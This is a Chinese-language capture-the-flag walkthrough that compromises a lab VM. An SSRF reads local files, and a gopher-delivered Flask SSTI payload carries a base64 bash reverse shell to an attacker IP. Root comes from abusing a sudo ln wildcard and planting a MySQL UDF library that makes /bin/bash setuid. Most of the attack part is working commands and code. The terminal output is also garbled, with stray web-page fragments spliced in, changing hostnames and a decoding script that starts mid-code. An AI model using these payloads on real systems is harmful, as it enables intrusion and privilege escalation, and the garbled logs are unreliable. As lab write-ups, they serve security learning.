



## Nmap

SHELL

```
[root@Hacking] /home/kali/temp
❯ nmap 192.168.56.52 -A -p-

PORT      STATE SERVICE VERSION
22/tcp     open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp     open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Webpage Preview Tool
```

## SSRF & LFI

进入web页面，可以输入网址发送请求，这里首先考虑LFI，可以直接读取/etc/passwd

```
file:///etc/passwd
```

Enter URL to preview

file:///etc/passwd

Preview

#### Supported URL Types

HTTP, HTTPS, FTP, and other standard protocols are supported.

Example Shit

<http://baidu.com>

JSON API

<https://httpbin.org/json>

The Google

<http://google.com>

#### Preview Result

Success

```
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
```

其中发现用户lemon，无法进入家目录读取，然后看一看web源码吧

file:///var/www/html/index.php

## Preview Result

Success

```
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $url = $_POST['url'];

    if (!empty($url)) {
        // 存在SSRF漏洞 - 未对协议和地址进行过滤
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36');

        $result = curl_exec($ch);
        $error = curl_error($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($error) {
            $result = "Error fetching URL: " . $error;
        }
    } else {
        $result = "Please enter a URL to preview";
    }
}
```

仅此而已了，扫一下内网端口吧，从1扫到10000试试

The screenshot shows the OWASP ZAP interface with the 'Intruder' tab selected. A single thread named 'Sniper攻击' is active, targeting the URL `http://192.168.56.52`. The payload configuration on the right is set to generate a sequence of values from 1 to 10000 in increments of 1. A red arrow points to the '数量' (Quantity) field, which is currently set to 1. The bottom status bar indicates 1 highlight, 1 payload position, and a total length of 557 bytes.

发现其中有两个端口返回了特殊信息

The screenshot shows the ZAP Intruder tool interface. On the left, a list of captured requests is displayed, with the first few rows highlighted by a red box. Request 2254 is selected. On the right, a detailed view of this request is shown in a modal window titled 'Result 2254 | Intruder攻击'. The modal displays the payload (2333), status code (200), length (8728), and timer (53). Below this, there are tabs for '请求' (Request) and '响应' (Response). The '响应' tab is selected, showing a 'Preview Result' section with the text 'get app.py' and a red arrow pointing to it. At the bottom of the modal, there is a 'Success' button.

一个是 `get app.py` 另一个 是 `get reply.py`，然后因为实际上并不存在于80端口上，这里是通过猜测类似的路径来找到的源码

```
file:///app/app.py
file:///opt/app.py #就在这里
```

```
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    return "get app.py"

@app.route('/render', methods=['POST'])
def render():
    try:
        data = request.get_data(as_text=True)
        if data:
            # 直接渲染 - 存在SSTI漏洞
            result = render_template_string(data)
            return result
        return "No data"
    except Exception as e:
        return f"Error: {str(e)}"

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=2333, debug=False, threaded=True)
```

## SSTI

由于我们无法直接发起POST请求，这里我使用的是gopher伪协议，来通过SSRF向内网2333端口发送，值得注意的是：在更改payload的时候，注意URL编码，以及Content-Length（这个不对，那么请求是会被截断或者卡住的）

这里给出我的payload仅供参考，注意其中的Content-Length是139，和后面的payload长度必须一样

```
gopher://127.0.0.1:2333/_POST%20/render%20HTTP/1.1%0D%0AHost:%20127.0.0.1
:2333%0D%0AContent-Type:%20application/x-www-form-
urlencoded%0D%0AContent-
Length:%20139%0D%0A%0D%0A{{lipsum.__globals__.getitem__('os').popen('pr
intf KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE20C41Ni40LzQ0NDQgMD4mMSkgJg==|base64
-d|bash').read()}}
```

发送成功如图

Preview Result

Success

```
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.2
Date: Wed, 12 Nov 2025 08:08:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
```

## 零宽隐写

来到网站目录，发现一个secret文件，但是文件大小和内容完全对不上

```
www-data@XIXI:~/html$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Nov 11 03:57 .
drwxr-xr-x 3 root root 4096 Apr  4  2025 ..
-rw-r--r-- 1 root root 9563 Nov 10 23:06 index.php
-rw-r--r-- 1 root root  547 Nov 11 03:57 secret_of_lemon.txt
www-data@XIXI:~/html$ cat secret_of_lemon.txt
# Last updated: 2023-11-15
nothing here
#
www-data@XIXI:~/html$
```

这里自行了解吧，我给一个能处理的脚本



```

print('前100位二进制:', binary[:100])

# 尝试8位一组解码为ASCII
if len(binary) >= 8:
    result = ''
    for i in range(0, len(binary), 8):
        if i + 8 <= len(binary):
            byte_str = binary[i:i + 8]
            try:
                char_code = int(byte_str, 2)
                if 32 <= char_code <= 126: # 可打印字符
                    result += chr(char_code)
                else:
                    result += f'{char_code:02x}'
            except:
                result += '?'
    print('解码结果:', result)

# 如果ASCII解码失败, 尝试其他编码
if not result or len(result.strip()) == 0:
    print('尝试Base64解码...')
    import base64

    try:
        # 将二进制转换为字节
        bytes_data = bytes(int(binary[i:i + 8], 2) for i in range(0,
len(binary), 8) if i + 8 <= len(binary))
        base64_decoded = base64.b64decode(bytes_data)
        print('Base64解码:', base64_decoded.decode('ascii',
errors='ignore'))
    except:
        print('Base64解码失败')

    print('尝试直接显示二进制数据...')
    print('完整二进制:', binary)

```

密码是: Very\_sour\_lemon

```

D:\python3.12.3\python.exe "D:\python\python project\test.py"
二进制长度: 168
前100位二进制: 011011000110010101101011011101101110001110100101011001100101011100101011110010101111011100110110
解码结果: lemon:Very_sour_lemon

```

登录后拿到user.txt

## Root

在家目录里发现了mysql的登录凭据，看一眼sudo

SHELL

```
lemon@XINYI:~$ sudo -l
Matching Defaults entries for lemon on XINYI:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\
:/bin

User lemon may run the following commands on XINYI:
    (root) NOPASSWD: /usr/bin/ln -sf * /usr/lib/mysql/plugin/*
```

这里使用了通配符，可以直接走目录穿越，如下不多说了

SHELL

```
sudo /usr/bin/ln -sf /home/lemon/passwd
/usr/lib/mysql/plugin/../../../../../etc/passwd
```

我的做法是写mysql插件，拷打AI吧

```

#include <stdlib.h>
#include <string.h>

typedef int my_bool; // 添加my_bool类型定义

typedef struct st_udf_init {
    int maybe_null;
    unsigned int decimals;
    unsigned long max_length;
    char *ptr;
    char const_item;
} UDF_INIT;

typedef struct st_udf_args {
    unsigned int arg_count;
    int *arg_type; // 简化类型
    char **args;
    unsigned long *lengths;
    char *maybe_null;
} UDF_ARGS;

// UDF初始化函数
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    return 0;
}

// UDF清理函数
void sys_exec_deinit(UDF_INIT *initid) {
}

// UDF执行函数
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char
*error) {
    if (args->arg_count == 1 && args->args[0] != NULL) {
        return system(args->args[0]);
    }
    return -1;
}

// MySQL必需符号
int _mysql_plugin_interface_version_ = 0x0103;
void * _mysql_plugin_declarations_ = NULL;

// 构造函数
__attribute__((constructor)) void init() {

```

```
        system("chmod 4755 /bin/bash");
    }
```

然后编译、链接

```
SHELL
gcc -shared -fPIC -o /tmp/fixed_udf.so /tmp/fixed_udf.c

sudo -u root ln -sf /tmp/fixed_udf.so /usr/lib/mysql/plugin/fixed_udf.so
```

然后进入mysql安装

```
MariaDB [(none)]> CREATE FUNCTION sys_exec RETURNS INTEGER SONAME
'fixed_udf.so';
```

```
MariaDB [(none)]> select sys_exec("id");
+-----+
| sys_exec("id") |
+-----+
|          0 |
+-----+
1 row in set (0.002 sec)      http://127.0.0.1:5000

MariaDB [(none)]> select sys_exec("touch /tmp/hello");
+-----+
| sys_exec("touch /tmp/hello") |
+-----+
|          0 |
+-----+
1 row in set (0.002 sec)
```

```
lemon@XIYI:~$ ls -al /tmp/hello      http://baidu.com
-rw-rw---- 1 mysql mysql 0 Nov 12 04:28 /tmp/hello
lemon@XIYI:~$
```

可以执行命令了，反弹一个shell，在目录拿到root密码

```
mysql@XIYI:/var/lib/mysql$ ls -al
total 122940
drwxr-xr-x  4 mysql mysql      4096 Nov 12  04:23 .
drwxr-xr-x 32 root  root      4096 Nov 10 21:42 ..
-rw-rw----  1 mysql mysql    24576 Nov 12  04:28 aria_log.00000001
-rw-rw----  1 mysql mysql       52 Nov 11  04:01 aria_log_control
-rw-r--r--  1 root  root        0 Nov 10 21:42 debian-10.5.flag
-rw-rw----  1 mysql mysql     982 Nov 11  04:01 ib_buffer_pool
-rw-rw----  1 mysql mysql 12582912 Nov 11  04:01 ibdata1
-rw-rw----  1 mysql mysql 100663296 Nov 12  04:23 ib_logfile0
-rw-rw----  1 mysql mysql 12582912 Nov 12  04:23 ibtmp1 standard protocols
-rw-rw----  1 mysql mysql       0 Nov 10 21:42 multi-master.info
drwx----- 2 mysql mysql     4096 Nov 10 21:42 mysql
-rw-r--r--  1 root  root      15 Nov 10 21:42 mysql_upgrade_info
drwx----- 2 mysql mysql     4096 Nov 10 21:42 performance_schema
-r-----  1 mysql mysql     13 Nov 10 22:18 root.bak
mysql@XIYI:/var/lib/mysql$ cat root.bak
root:ezlemon
mysql@XIYI:/var/lib/mysql$
```

## 结束

```
root@XIYI:~# ls -al
total 52
drwx----- 6 root  root  4096 Nov 11 03:57 1:5000
drwxr-xr-x 18 root  root  4096 Nov 10 21:14 ..
lrwxrwxrwx  1 root  root    9 Mar 18 2025 .bash_history -> /dev/null
-rw-r--r--  1 root  root   570 Jan 31 2010 .bashrc
drwxr-xr-x  4 root  root  4096 Apr  4 2025 .cache
drwx----- 3 root  root  4096 Apr  4 2025 .gnupg d other standard protocols are s
drwxr-xr-x  3 root  root  4096 Mar 18 2025 .local
-rw-r--r--  1 root  root   148 Aug 17 2015 .profile
-rw-r--r--  1 root  root    44 Nov 10 22:38 root.txt
drw-----  2 root  root  4096 Apr  4 2025 .ssh
-rw-rw-rw-  1 root  root 12708 Nov 11 03:57 .viminfo
root@XIYI:~# cat root.txt
flag{root-e6a6
root@XIYI:~#
```